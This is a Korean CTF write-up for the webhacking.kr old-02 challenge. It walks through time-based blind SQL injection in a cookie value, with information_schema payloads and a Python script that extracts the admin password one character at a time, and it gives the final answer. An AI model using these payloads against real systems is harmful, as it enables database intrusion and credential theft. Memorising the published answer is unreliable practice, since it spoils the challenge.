[Webhacking.kr] old-02번 문제 풀이 -최신
https://webhacking.kr/challenge/web-02/
webhacking.kr
문제 페이지 등장

F12누르니까

주소에 넣으라는 표시 ㅋㅋㅋ
문제의 페이지 소스를 보시면 힌트를 얻을 수 있는 단서를 찾을 수 있습니다.
1번 힌트 : 시간
2번 힌트 : admin.php가 존재
https://webhacking.kr/challenge/web-02/admin.php
webhacking.kr



쿠키값이 유닉스 타임스탬프(접속 시간)를 가리키는 것을 알고 변환해주면 쿠키값이 시간을 나타낸다는 것을 알아냈당
1. 테이블 수 추출
: (select count(table_name) from information_schema.tables where table_schema=database())
* information_schema.tables : 데이터베이스에 있는 모든 테이블 정보를 가지고 있는 테이블임.


변경이 되는구나 ㅎ
09:00:02 인 것으로 보아 테이블 개수는 2개로 파악되는데...
2. 테이블 길이 추출
: (select length(table_name) from information_schema.tables where table_schema=database() limit 0, 1)
* limit pos, len : 출력 레코드의 개수를 제한하는 함수로 pos는 시작 행을 의미하며 0부터 시작, len은 개수를 의미한다. limit 0,1은 첫 번째부터 1개의 레코드를 의미하며, pos값을 1씩 증가시키면 다음 레코드를 하나씩 순서대로 추출할 수 있는데


09:00:13 인 것으로 보아 첫 번째 테이블은 13자리
3. 테이블 명 추출
(select ascii(substring(table_name, 1, 1)) from information_schema.tables where table_schema=database() limit 0,1)
* substr(문자열, pos, len) : 문자열을 pos부터 len만큼 부분 문자열을 추출하는 함수로 pos는 1부터 시작한다. pos값을 1씩 증가시키면 테이블명 문자를 하나씩 순서대로 추출할 수 있어.


09:01:37 인 것으로 1분 37초 -> 97초 아스키코드 97 -> 'a'
import requests
url ="https://webhacking.kr/challenge/web-02/"
ck = ""
db = ""
table = ""
columns = ""
pw = ""
for i in range(1,100):
if ck ==1:
break
for k in range(33,133):
cookies={"Cookie" : "PHPSESSID=세션값; time=0 ||"
" if(ord(substr((select pw from admin_area_pw),{},1))={},1,0)".format(i,k)}
r =requests.get(url,cookies=cookies)
if r.text.find("09:00:01") != -1:
pw+=chr(k)
break
if k == 132:
ck =1
print("Password : {}".format(pw))
비번kudos_to_beistlab